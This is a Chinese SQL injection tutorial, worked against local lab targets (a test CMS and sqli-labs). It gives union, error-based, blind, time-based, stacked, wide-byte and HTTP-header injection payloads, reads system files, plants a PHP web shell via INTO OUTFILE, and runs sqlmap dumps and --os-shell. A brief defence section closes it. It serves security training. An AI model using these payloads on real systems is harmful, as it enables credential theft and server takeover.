SQL注入漏洞

文章目录

  • 渗透测试漏洞原理
  • SQL注入
    • 1. SQL注入原理
      • 1.1 万能用户名
        • 1.1.1 查看代码
        • 1.1.2 登录逻辑
        • 1.1.3 拼接问题
      • 1.2 SQL注入总结
        • 1.2.1 SQL注入原理
        • 1.2.2 SQL注入危害
        • 1.2.3 SQL注入分类
      • 1.3 SQL注入漏洞挖掘
        • 1.3.1 注入点判断
        • 1.3.2 主要关注问题
        • 1.3.3 CMS注入点
      • 1.4 其他知识补充
        • 1.4.1 MySQL数据库中的注释
        • 1.4.2 SQL注入流程
        • 1.4.3 可以代替空格的字符
    • 2. SQL注入基本手法
      • 2.1 联合查询
        • 2.1.1 必要条件
        • 2.1.2 目标分析
        • 2.1.3 判断列数
        • 2.1.4 判断回显位置
        • 2.1.5 数据库中敏感信息
        • 2.1.6 获取管理员账号密码
      • 2.2 报错注入
        • 2.2.1 group by
        • 2.2.2 extractvalue
        • 2.2.3 updatexml
      • 2.3 布尔盲注
        • 2.3.1 库名爆破
        • 2.3.2 库名长度
        • 2.3.3 按位测试
      • 2.4 延时注入
        • 2.4.1 数据库名字的长度
        • 2.4.2 数据库名字
        • 2.4.3 获取数据库版本号
      • 2.5 堆叠查询
    • 3. SQL注入其他情况
      • 3.1 宽字节注入
        • 3.1.1 代码分析
        • 3.1.2 GBK编码
        • 3.1.3 宽字节注入
        • 3.1.4 练习
      • 3.2 HTTP头部注入
        • 3.2.1 Cookie注入
        • 3.2.2 base64 注入
        • 3.2.3 User-Agent注入
        • 3.2.4 Referer注入
    • 4. SQL注入读写文件
      • 4.1 前提条件
        • 4.1.1 权限问题
        • 4.1.2 文件路径
        • 4.1.3 安全权限
      • 4.2 读写文件
        • 4.2.1 读取文件
        • 4.2.2 写入文件
    • 5. SQL注入工具
      • 5.1 SQL Map
        • 5.1.1 安装与更新
        • 5.1.2 常用参数
        • 5.1.3 SQLMap 实战
        • 5.1.4 POST 注入
        • 5.1.5 GetShell
    • 6. SQL注入漏洞防御

渗透测试漏洞原理

SQL注入

SQL注入漏洞_第1张图片

cms网盘地址:xcuw
sqli-labs地址
phpstudy下载地址

结构化查询语言(Structured Query Language,SQL),是一种特殊的编程语言,用于数据库的标准数据查询。1986年10月美国国家标准协会对SQL进行了规范后,以此作为关系型数据库系统的标准语言。1987年得到了国际标准组织的支持,成为了国际标准。

不过各种通行的数据库系统在其实践过程中都对SQL规范做某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。

SQL注入(SQL Injectian)是一种常见的Web安全漏洞。攻击者利用这个漏洞,可以增删改查数据库中数据,或者利用潜在的数据库漏洞进行攻击。

  • 增、删、改、查
  • 读、写文件
  • 提权

1. SQL注入原理

登录框可以尝试使用如下方式渗透

  • 弱口令
  • SQL注入
  • 暴力破解

本次是实验以cms网站为例

1.1 万能用户名

admin' or '1'='1
admin' or 1=1 #

SQL注入漏洞_第2张图片

登录成功

SQL注入漏洞_第3张图片

SQL注入漏洞_第4张图片

登录成功

SQL注入漏洞_第5张图片

1.1.1 查看代码


session_start ();
header('Content-Type: text/html; charset=utf-8');
include_once ("../include/config.inc.php");
if (isset ( $_POST ["username"] )) {
	$username = $_POST ["username"];
} else {
	$username = "";
}
if (isset ( $_POST ["password"] )) {
	$password = $_POST ["password"];
} else {
	$password = "";
}
//记住用户名
setcookie (username, $username,time()+3600*24*365);
if (empty($username)||empty($password)){
	exit("");
}
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");
if (!empty($user_row )) {
	setcookie (userid, $user_row ['userid'] ); 
	header("Location: index.php");
}else{
	exit("");
}
?>

SQL注入漏洞_第6张图片

1.1.2 登录逻辑

  • 通过POST方式获取用户名和密码。

  • 构造SQL语句以用户名和密码作为查询条件进行查询,并且是单引号闭合。

  • 如果SQL语句正确执行并且结果集对象中有记录则提示登录成功。

  • 否则,登录失败。

1.1.3 拼接问题

select userid from cms_users where username = '{用户名}' and password='{md5(密码)}';
select userid from cms_users where username = 'USERNAME' and md5password='5f4dcc3b5aa765d61d8327deb882cf99'

select userid from cms_users where username = 'wuhu' or 1=1 #' and password='******'	
select userid from cms_users where username = 'admin' or '1' ='1' and password='******'
										true or false
											true

说明:

  • 这里and的优先级比or的优先级高,所以先判断的是’1’ =1’ and password=‘* * * * *’,true and false固该语句值为false。

  • 然后判断username = ‘admin’ or false ,true or false 固该语句值为true。

and的优先级必or要高PHP: 运算符优先级。

1.2 SQL注入总结

1.2.1 SQL注入原理

SQL注入的攻击行为可以描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL语句中。

关键点:拼接、未过滤。

1.2.2 SQL注入危害

攻击者可以利用SQL注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容(脱库)。

在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。

如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用SQL注入漏洞直接获取WebShell或者服务器权限。

1.2.3 SQL注入分类

两大基本类型 五大基本手法 提交参数方式 注入点的位置
数字型
字符型
联合查询
报错注入
布尔盲注
延时注入
堆叠查询
GET注入
POST注入
Cookie注入
HTTP头部注入
URL注入
搜索框注入
留言板注入
登录框注入

1.3 SQL注入漏洞挖掘

  • SQL注入可能存在的位置。
    • 输入框
    • 搜索框
    • 与数据库交互的地方
  • 如何确定SQL注入漏洞存在性?

1.3.1 注入点判断

会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL注入漏洞。

步骤 测试数据 测试判断
1 -1或+1 是否能够回显上一个或下一个页面(判断是否有会先)
2 ’ 或 " 是否显示数据库错误信息; 根据回显内容可以判断是字符型还是数字型
3 and1=1 and1=2 回显的页面是否不同(布尔类型的状态)
4 and sleep(5) 判断页面的返回时间
5 \ 判断转义

1.3.2 主要关注问题

主要关注的问题 解释
回显 数据库中的内容是否会回显在网页中
数据库报错 数据库报错信息是否会回显在网页中 提交的数据是字符型还是数字型,如果是字符型,闭合方式是什么?
布尔类型状态 显示的页面不同,形成对比。页面正常或不正常
延时 让数据库沉睡相应的秒数

后台编程语言报错:

会告诉具体的报错代码行。

image-20230822211205459

数据库报错:

报错内容在页面回显,如果页面有回显可以使用联合查询的手法。

SQL注入漏洞_第7张图片

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

注意:应用程序在执行SQL语句的时候是按照从前到后进行扫描的。

判断技巧:如果报错信息中没有数字,例如:33。说明是数字型,不用考虑引号闭合问题。

判断页面的返回时间:如果存在验证可以使用五大基本注入手法的延时注入。

1.3.3 CMS注入点

是否有回显

http://127.0.0.1/cms/show.php?id=33
http://127.0.0.1/cms/show.php?id=32
http://127.0.0.1/cms/show.php?id=34
# 回显

是否有报错

http://127.0.0.1/cms/show.php?id=34'
# near ''' at line 1
# 中间的单引号才是SQL语句的内容
# select * from tb_name where id=34' # 34数字没有出现在报错信息中,说明是数字型注入
# 有报错

是否有布尔类型状态

http://127.0.0.1/cms/show.php?id=33+and+1=1 # 页面正常
http://127.0.0.1/cms/show.php?id=33+and+1=2 # 页面不正常
#有布尔类型状态

是否有延时

http://127.0.0.1/cms/show.php?id=33+and+sleep(5) #有延时

1.4 其他知识补充

1.4.1 MySQL数据库中的注释

MySQL中的注释 URL中表现
减减空格(三个字符)【-- 】 –+
井号【#】 %23
内联注释/*!500 wuhu */

减减空格在URL中表示–+。+号代替空格。

1.4.2 SQL注入流程

判断回显位置->库名->表名->字段名->数据

1.4.3 可以代替空格的字符

?id=1'%0Aand%0A1=1%23
?id=1'%0Band%0B1=1%23
?id=1'%0Dand%0D1=2%23
?id=1'%A0and%A01=2%23

2. SQL注入基本手法

2.1 联合查询

适用数据库中的内容会回显到页面中来的情况。联合查询就是利用==union select==语句,该语句会同时执行两条select语句,实现跨库、跨表查询。

联合查询(union)是纵向拼接

2.1.1 必要条件

  • 两条select语句查询结果具有相同列数。

  • 对应的列数据类型相同(特殊情况下,条件被放松)。

2.1.2 目标分析

?id=32
?id=33
select * from tbName where id=32
select * from tbName where id=32 union select ....

2.1.3 判断列数

?id=33 order by 16

SQL注入漏洞_第8张图片

?id=33 order by 15

SQL注入漏洞_第9张图片

这就说明有15列

2.1.4 判断回显位置

使用联合查询的话,需要将这15列全部补上。

SQL注入漏洞_第10张图片

SQL注入漏洞_第11张图片

得使我们自己构造出来的语句查询结果显示出来,需要将前一条语句的结果置为假。

SQL注入漏洞_第12张图片

执行发现回显位置是3和11。

将前一条语句的结果置为假方式:

  • 在id值后面添加一个值:127.0.0.1/cms/show.php?id=33 and 1=2
  • 在id值的前面加上一个负号:127.0.0.1/cms/show.php?id=-33

2.1.5 数据库中敏感信息

之后就可以让3和11显示我们想显示的内容,比如库名,表名,字段名,数据内容。

获取数据库名

http://127.0.0.1/cms/show.php?id=-33  UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15

SQL注入漏洞_第13张图片

获取表名

http://127.0.0.1/cms/show.php?id=-33  UNION SELECT 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables

SQL注入漏洞_第14张图片

错误原因:数据类型不同

解决方法:转换为16进制数据

http://127.0.0.1/cms/show.php?id=-33  UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables

说明:

  • hex(table_name):表示转换十六进制

SQL注入漏洞_第15张图片

使用bp进行16进制解码

SQL注入漏洞_第16张图片

获取到了表名CHARACTER_SETS

添加限定条件,表示要查询的数据库为当前数据库

SQL注入漏洞_第17张图片

使用bp进行16进制解码

SQL注入漏洞_第18张图片

查看所有表名

group_concat()将所有表名联合成一个字符串

http://127.0.0.1/cms/show.php?id=-33  UNION SELECT 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

说明:

  • hex(group_concat(table_name)):查看所有的表名

SQL注入漏洞_第19张图片

使用bp进行16进制解码

SQL注入漏洞_第20张图片

获取cms_users表中的字段名

http://127.0.0.1/cms/show.php?id=-33  UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name = 'cms_users'

说明

  • information_schema.columns 包含了关于数据库中所有表的列的详细信息,如列名、数据类型、是否为主键、默认值等。
  • GROUP_CONCAT(column_name) 是一种用于在 SQL 查询中将多行结果合并为单个字符串的聚合函数。它可用于将一列的值按照指定的分隔符连接成一个字符串,并返回合并后的结果。这里表示合并列名。

SQL注入漏洞_第21张图片

使用bp进行16进制解码

SQL注入漏洞_第22张图片

说明

  • information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

SQL注入漏洞_第23张图片

SQL注入漏洞_第24张图片

2.1.6 获取管理员账号密码

http://127.0.0.1/cms/show.php?id=-33  UNION SELECT 1,2,concat(username,':',password),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users

SQL注入漏洞_第25张图片

说明:

  • concat(username,0x3a,password):如果回显位置只有一个,但是我们需要回显两个参数,使用该函数进行拼接。
  • 中间的0x3a表示冒号的16进制,也可以直接使用’:‘来进行分割concat(username,’:',password)

2.2 报错注入

​ 在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,在错误信息中执行SQL语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部分。

2.2.1 group by

group by重复键冲突错误

说明:MySQL版本在5.0以上,以下通用

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

解析:

  • rand():生成0-1之间的随机数

  • left(rand(),3):将返回一个由随机生成的小数左侧的三位数字组成的字符串。

2.2.2 extractvalue

说明:MySQL版本在5.0以上

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))

?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))

2.2.3 updatexml

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

补充:

  • 0x7e:~

  • 0x5e:^

MySQL系统函数

函数名 解释
user() 返回当前用户的用户名的函数。
database() 返回当前数据库名
version() 返回MySQL服务器版本号
rand() 生成0-1之间的随机数
substr() 用于从字符串中提取子串。
length() 获取长度
ASCII() 返回字符表达式最左端字符的 ASCII 代码值。

2.3 布尔盲注

页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断。

以sqli-labs 靶场关为例。

2.3.1 库名爆破

/Less-8/?id=2' and database()='xxx' --+ #  不知道数据库名有多少位
#  不知道数据库名的字符集合
#  爆破成本很高

2.3.2 库名长度

/Less-8/?id=2' and length(database())=8 --+ #  页面正常,说明数据库名字的长度是8

2.3.3 按位测试

#  第一位
/sqli/Less-8/?id=2' and ascii(substr(database(),1,1))=115 --+ #  115
# ASCII码表中对应s

#  第二位
/sqli/Less-8/?id=2' and ascii(substr(database(),2,1))=101 --+ #  101
# ASCII码表中对应e

#  第三位
/sqli/Less-8/?id=1' and ascii(substr((select database()),3,1))=99 --+ # 
# ASCII码表中对应c

#  第四位
/sqli/Less-8/?id=1' and ascii(substr((select database()),4,1))=117 --+ # 
# ASCII码表中对应u

#  第五位
/sqli/Less-8/?id=1' and ascii(substr((select database()),5,1))=114 --+ # 
# ASCII码表中对应r

#  第六位
/sqli/Less-8/?id=1' and ascii(substr((select database()),6,1))=105 --+ # 
# ASCII码表中对应i

#  第七位
/sqli/Less-8/?id=1' and ascii(substr((select database()),7,1))=116 --+ # 
# ASCII码表中对应t

#  第八位
/sqli/Less-8/?id=1' and ascii(substr((select database()),8,1))=121 --+ # 
# ASCII码表中对应y

数据库:security

2.4 延时注入

用sleep() 语句的延时性,以时间线作为判断条件。

2.4.1 数据库名字的长度

/sqli-labs/Less-9/?id=2' and if(length(database())>1,sleep(5),1) --+ #  页面有延时

2.4.2 数据库名字

/sqli-labs/Less-9/?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+ #  115	101	 99
#  s	 e	  c

2.4.3 获取数据库版本号

先获取数据库的版本号长度

/sqli-labs/Less-9/?id=2' and if(length(version()))=6,sleep(5),1) --+

SQL注入漏洞_第26张图片

# 第1位
http://127.0.0.1/sqli/Less-9/?id=2' and if(ascii(substr(version(),1,1))=53,sleep(5),1) --+

# 第2位
http://127.0.0.1/sqli/Less-9/?id=2' and if(ascii(substr(version(),2,1))=46,sleep(5),1) --+

# 第3位
http://127.0.0.1/sqli/Less-9/?id=2' and if(ascii(substr(version(),3,1))=55,sleep(5),1) --+

# 第4位
http://127.0.0.1/sqli/Less-9/?id=2' and if(ascii(substr(version(),4,1))=46,sleep(5),1) --+

# 第5位
http://127.0.0.1/sqli/Less-9/?id=2' and if(ascii(substr(version(),5,1))=50,sleep(5),1) --+

# 第6位
http://127.0.0.1/sqli/Less-9/?id=2' and if(ascii(substr(version(),6,1))=54,sleep(5),1) --+

数据库版本号是:5.7.26

2.5 堆叠查询

一次HTTP 请求,可以同时执行多条SQL 语句,包括增删改查操作。

以sqli-labs 第38 关为例子。

?id=2';update users set password='123456' --+

说明:

  • ;:表示语句的结束。

3. SQL注入其他情况

3.1 宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义。

以sqli-labs-32 关为例子。

?id=1 
?id=1' 
1\' 	#服务器会把单引号转义,单引号由原来的定义字符串的特殊字符被转义为普通字符。
315c27	# 非常强烈的暗示
  • 32不在GBK编码范围之内。按照ASCII码来解释是2

  • 27也不在GBK编码范围之内。按照ASCII码来解释是’

3.1.1 代码分析

function check_addslashes($string) {
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);	//转义任何反斜杠
$string = preg_replace('/\'/i', '\\\'', $string); 						//转义单引号
$string = preg_replace('/\"/', "\\\"", $string); 						//转义双引号


return $string; }

// take the variables if(isset($_GET['id'])) {
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "
";
//logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivit // 与数据库交互采用GBK编码 mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql);
  • 单双引号被转义,没有其他过滤。

  • 将与数据库交互的数据字符编码设置为了GBK。

3.1.2 GBK编码

GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。注意到5C 在GBK 编码的低位范围之内[40,FE]。在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。

0x7573657273

3.1.3 宽字节注入

815c ?id=1		# 乗
%81' 
1%81\' 
31815c27 
1'				# “吃”掉了转义字符\

/Less-32/?id=1%81' and 1=2 union select 1,database(),3 --+

SQL注入漏洞_第27张图片

3.1.4 练习

SQL注入漏洞_第28张图片

服务器将单引号进行了转义,单引号由原来的'转换为了\',那么我们现在可以使用GBK编码,在5c前面添加一个字符,使得该字符与5c组合为一个汉字。(这个字符的范围在[8140,FEFE]之间即可)

SQL注入漏洞_第29张图片

获取数据库名及数据库版本

http://127.0.0.1/sqli/Less-32/?id=1%81' and 1=2 union select 1,database(),version --+

SQL注入漏洞_第30张图片

获取数据库中的表信息

http://127.0.0.1/sqli/Less-32/?id=1%81' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

SQL注入漏洞_第31张图片

获取数据库表字段

由于这里将单引号进行了过滤,这里采用十六进制的显示。

SQL注入漏洞_第32张图片

http://127.0.0.1/sqli/Less-32/?id=1%81' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 --+

使用bp将users转换为十六进制

SQL注入漏洞_第33张图片

3.2 HTTP头部注入

SQL 注入点不止会出现在GET 参数或POST 参数中。

向服务器传参三大基本方式:GPC

  • GET:在URL路径中显示。
  • POST:在请求体中显示。
  • Cookie:在HTTP请求头部中显示。

3.2.1 Cookie注入

注入点在Cookie 数据中,以sqli-labs-20 关为例子。

GET /sqli-labs/Less-20/index.php HTTP/1.1 Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-20/
DNT:  1 Connection: close
Cookie: uname=Dumb' and 1=2 union select 1,version(),database() # 
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

3.2.2 base64 注入

注入的参数需要进行base64 编码,方便网络数据的传输。

以sqli-labs-22 关为例子。

GET /sqli-labs/Less-22/index.php HTTP/1.1 Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-22/
DNT:  1 Connection: close
Cookie:  uname=RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM= 
Upgrade-Insecure-Requests: 1

bp中进行base64编码的转换。

3.2.3 User-Agent注入

注入的参数在User-Agent 中,以sqli-labs-18 关为例子。

POST /sqli-labs/Less-18/ HTTP/1.1 Host: 10.4.7.128
User-Agent: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Length: 36
Origin: http://10.4.7.128 DNT:  1
Connection: close
Referer: http://10.4.7.128/sqli-labs/Less-18/
Upgrade-Insecure-Requests: 1

uname=Dumb&passwd=Dumb&submit=Submit

查看是什么闭合,采用单引号报错后,使用注释来测试。注释掉还报错,考虑前/后闭合。wuhu' and '1'='1

3.2.4 Referer注入

注入参数在Referer 字段中,以sqli-labs-19 关为例子。

POST /sqli-labs/Less-19/ HTTP/1.1 Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Length: 36
Origin: http://10.4.7.128 DNT:  1
Connection: close
Referer: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1 
Upgrade-Insecure-Requests: 1

uname=Dumb&passwd=Dumb&submit=Submit

4. SQL注入读写文件

4.1 前提条件

4.1.1 权限问题

当前(连接)数据库的用户具有文件读写权限。数据库的权限粒度,某个库中某个表某个用户是否有增删改查权限。

SQL注入漏洞_第34张图片

MySQL 数据库用户,例如root@localhost,由两部分组成:

  • 用户名

  • 地址

[email protected]:表示允许root用户可以任何IP地址进行登录,也就是外部登录。

# root@localhost

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2  union select 1,file_priv,3 from mysql.user where user='root' and host='localhost'   --+

SQL注入漏洞_第35张图片

MySQL中在mysql数据库中存放着数据库用户的信息

SQL注入漏洞_第36张图片

SQL注入漏洞_第37张图片

查看user表

select * from user\G;

一共三个用户

SQL注入漏洞_第38张图片

SQL注入漏洞_第39张图片

SQL注入漏洞_第40张图片

4.1.2 文件路径

Web应用在服务器上的绝对路径,一般情况下是不知道的。

系统敏感文件路径是固定的。

Windows

  • SAM:系统启动后是无法读取的。
  • host:C:\windows\system32\drivers\etc\hosts

Liunx

  • /etc/shadow
  • /etc/passwd

已知读写目标文件的绝对路径

/var/www/
/var/www/html/
c:/phpstudy/www/
c:/xampp/htdocs/
...

4.1.3 安全权限

MySQL 数据库有关于文件读写的安全选项secure_file_priv。

secure_file_priv 参数限制了mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改my.ini 配置文件,并重启mysql 数据库。

show global variables like '%secure_file_priv%';

参数值说明。

参数 含义
secure_file_priv=NULL 限制mysqld 不允许导入导出操作。
secure_file_priv=‘c:/a/’ 会限制mysqld 的导入导出操作在某个固定目录下,并且子目录有效
secure_file_priv= 不对mysqld 的导入导出操作做限制。

在phpMyAdmin中是服务修改secure_file_priv的值的。

SQL注入漏洞_第41张图片

如果需要修改执行如下操作:

mysql数据库的配置文件是my.ini

写在mysqld下

SQL注入漏洞_第42张图片

保存重启

4.2 读写文件

4.2.1 读取文件

使用load_file() 函数。

and 1=2 union select 1,load_file("C:\\Windows\\System32\\drivers\\etc\\hosts"),3

and 1=2 union select 1,load_file("C:\\Windows\\System32\\drivers\\etc\\hosts"),3

and 1=2 union select 1,load_file("/etc/passwd"),3

SQL注入漏洞_第43张图片

4.2.2 写入文件

使用into outfile语句。需要知道要保存文件的绝对路径。

and 1=2 union select 1,2,3 into outfile "C:/software/phpstudy_pro/WWW/wuhu.php"

and 1=2 union select 1,"$_REQUEST[777]);phpinfo()?>",3 into outfile "C:/software/phpstudy_pro/WWW/wuhu.php"


and 1=2 union select 1,"$_REQUEST[777]);phpinfo()?>",3 into outfile "/var/www/html/1.php"

and 1=2 union select 1,"$_REQUEST[777]);phpinfo()?>",3 into outfile "/tmp/1.php"

Linux系统下,一般情况下权限较低,无法写入文件。

练习:以sqli1为例

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,"$_REQUEST[777])?>",3 into outfile "C:/software/phpstudy_pro/WWW/wuhu.php"   --+

SQL注入漏洞_第44张图片

生成的文件如下

SQL注入漏洞_第45张图片

SQL注入漏洞_第46张图片

中国菜刀或者中国蚁剑进行连接。

SQL注入漏洞_第47张图片

在没有漏洞的情况下,web应用是无法访问到web根目录以外的文件。

目录遍历/穿越漏洞:Web通过非正常方式访问到了Web根目录以外的文件。

5. SQL注入工具

5.1 SQL Map

SQLMap 是一款专注于SQLi 的工具。SQLmap 基于Python 语言编写的命令行工具,集成在Kali 中。

5.1.1 安装与更新

Kali 自带SQLMap 更新:

sudo apt-get update				
sudo apt-get install sqlmap		

启动方式:

sqlmap

卸载sqlmap

sudo apt-get purge sqlmap

源码包安装:

git clone https://github.com/sqlmapproject/sqlmap.git git fetch
git pull

启动方式:

python3 sqlmap.py

5.1.2 常用参数

参数 含义
-u /–url 检测注入点
–dbs 列出所有的库名
–current-user 当前连接数据库用户的名字
–current-db 当前数据库的名字
-D “cms” 指定目标数据库为cms
–tables 列出数据库中所有的表名
-T “cms_users” 指定目标表名为’cms_users’
–columns 列出所有的字段名
-C ‘username,password’ 指定目标字段
–dump 列出字段内容
-r 从文件中读取HTTP 请求
–os-shell 在特定情况下,可以直接获得目标系统Shell
–level 3 设置sqlmap 检测等级 3
–cookie=“username=admin” 携带Cookie 信息进行注入
-g 利用google 搜索引擎自动搜索注入点
–batch 使用默认选项
–random-agent 使用随机User-Agent 信息
-v 3 显示payload

5.1.3 SQLMap 实战

利用sqlmap 注入得到cms网站管理员账密:

注入点:http://192.168.188.183/cms/show.php?id=33

sqlmap -u "http://192.168.188.183/show.php?id=33" sqlmap -u "http://10.10.10.1/show.php?id=33" --dbs

sqlmap -u "http://192.168.188.183/show.php?id=33" --current-db sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" --tables

sqlmap -u "http://192.168.188.1831/show.php?id=33" -D "cms" -T "cms_users" --columns

sqlmap -u "http://192.168.188.183/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
[~/tools/sqlmap]python3 sqlmap.py -u "http://192.168.188.183/show.php?id=33"

5.1.4 POST 注入

sqlmap -r /tmp/login.post

对于POST参数使用bp抓包注入

将该数据包保存到文件中

SQL注入漏洞_第48张图片

SQL注入漏洞_第49张图片

kali中输入命令

sqlmap -r /tmp/post.txt 

image-20230824194025974

这里显示在username这个位置有三种注入方式:

  • 布尔盲注
  • 报错注入
  • 延时注入

SQL注入漏洞_第50张图片

其他的爆破方式都一样,这里直接爆破用户名和密码。

sqlmap -r /tmp/post.txt -D "cms" -T "cms_users" -C "username,password" --dump

SQL注入漏洞_第51张图片

SQL注入漏洞_第52张图片

用户名:admin

密码:123456

说明:

不做302跳转选择n

image-20230824194011010

5.1.5 GetShell

前提条件:

  • 受到secure_file_priv 选项的限制;

  • 目标系统Web 根目录的绝对路径;

  • 目录权限。

sqlmap -u "http://192.168.188.183/show.php?id=33" --os-shell  # 尝试获取命令行

SQL注入漏洞_第53张图片

[1]:表示默认路径

[2]:表示指定的路径

[4]:不知道目标的绝对路径,进行爆破

这里选择2,然后粘贴绝对路径即可。

image-20230824195547247

获取标准的shell

SQL注入漏洞_第54张图片

6. SQL注入漏洞防御

  • 避免采用拼接的方式构造SQL 语句,可以采用预编译等技术。

  • 对进入SQL 语句的参数进行足够过滤。

  • 部署安全设备比如WAF(web应用安全防火墙)。

  • 现行很多开发框架,基本上已经从技术上,解决SQL 注入问题。

你可能感兴趣的:(网络安全,安全,系统安全,web安全,sql)